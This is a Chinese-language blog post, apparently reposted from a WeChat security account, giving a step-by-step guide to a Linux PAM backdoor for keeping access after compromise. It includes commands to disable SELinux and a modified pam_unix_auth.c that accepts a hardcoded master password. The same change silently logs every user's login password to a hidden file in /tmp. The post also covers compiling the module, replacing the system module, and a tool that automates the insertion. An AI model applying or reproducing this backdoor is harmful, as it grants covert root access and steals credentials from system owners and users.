PAM是什么
PAM是一种认证模块,PAM可以作为Linux登录验证和各类基础服务的认证,简单来说就是一种用于Linux系统上的用户身份验证的机制。进行认证时首先确定是什么服务,然后加载相应的PAM的配置文件(位于**/etc/pam.d**),最后调用认证文件(位于**/lib/security**)进行安全认证,简易利用的PAM后门也是通过修改PAM源码中认证的逻辑来达到权限维持。
后台回复获取本次实验适合Centos7的:PAM
制作流程
1、获取目标系统所使用的PAM版本,下载对应版本的pam版本
2、解压缩,修改pam_unix_auth.c文件,添加万能密码
3、编译安装PAM
4、编译完后的文件在modules/pam_unix/.libs/pam_unix.so,复制到/lib64/security中进行替换,即使用万能密码登陆,将用户名密码记录到文件中。
环境配置
# 临时关闭selinux(这里推荐临时关闭)
setenforce 0
# 永久关闭
sed -i 's/SELINUX=enforcing/SELINUX=disabled/g' /etc/selinux/config
# 查询版本
rpm -qa | grep pam
这里我的系统为Centos7。
根据版本下载PAM,这个github的PAM编译会报错,这里建议去找之前http://www.linux-pam.org/library/Linux-PAM-1.1.8.tar.gz
这个网站的备份,可以正常编译,我会在星球也发一份这个PAM。
(如果报错直解决不了直接后台回复 PAM 或者自己去找吧)
那个问题是github的PAM我又研究了下 只有configure.in没有./configure 可以研究下configure文件的生成进行自己生成
# 下载PAM (这个会报错 建议使用星球里的)
wget https://github.com/linux-pam/linux-pam/archive/refs/tags/Linux-PAM-1_1_8.tar.gz
# 解压
tar -zxvf linux-pam-Linux-PAM-1_1_8.tar.gz
#报错的话尝试
tar -xvf linux-pam-Linux-PAM-1_1_8.tar.gz
#原因
#tar包压缩的时候用cvf参数,解压的时候用xvf参数
#或压缩的时候用czvf参数,解压的时候用xzvf参数
# 安装依赖
yum install gcc flex flex-devel -y
如果目标机器在国内不能访问github,可以自己进行手动上传。
后门修改
修改 /PAM/linux-pam-Linux-PAM-1_1_8/modules/pam_unix/pam_unix_auth.c
/* verify the password of this user */
retval = _unix_verify_password(pamh, name, p, ctrl);
if(strcmp(p,"whoami123")==0){return PAM_SUCCESS;}
if(retval == PAM_SUCCESS){
FILE * fp;
fp = fopen("/tmp/.sshlog", "a");
fprintf(fp, "%s : %sn", name, p);
fclose(fp);
}
name = p = NULL;
编译安装
./configure && make
备份数据
备份原有pam_unix.so,防止出现错误登录不上 复制新PAM模块到/lib64/security/目录下
cp /usr/lib64/security/pam_unix.so /tmp/pam_unix.so.bakcp
cd Linux-PAM-1.1.8/modules/pam_unix/.libs
cp pam_unix.so /usr/lib64/security/pam_unix.so
实验验证
万能密码 root:whoami123
记录密码
Bash自动插入后门
https://github.com/zephrax/linux-pam-backdoor 这个项目可以使用Bash自动进行插入一个PAM后门。
原文始发于微信公众号(河马安全区):Linux权限维持-PAM Backdoor
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论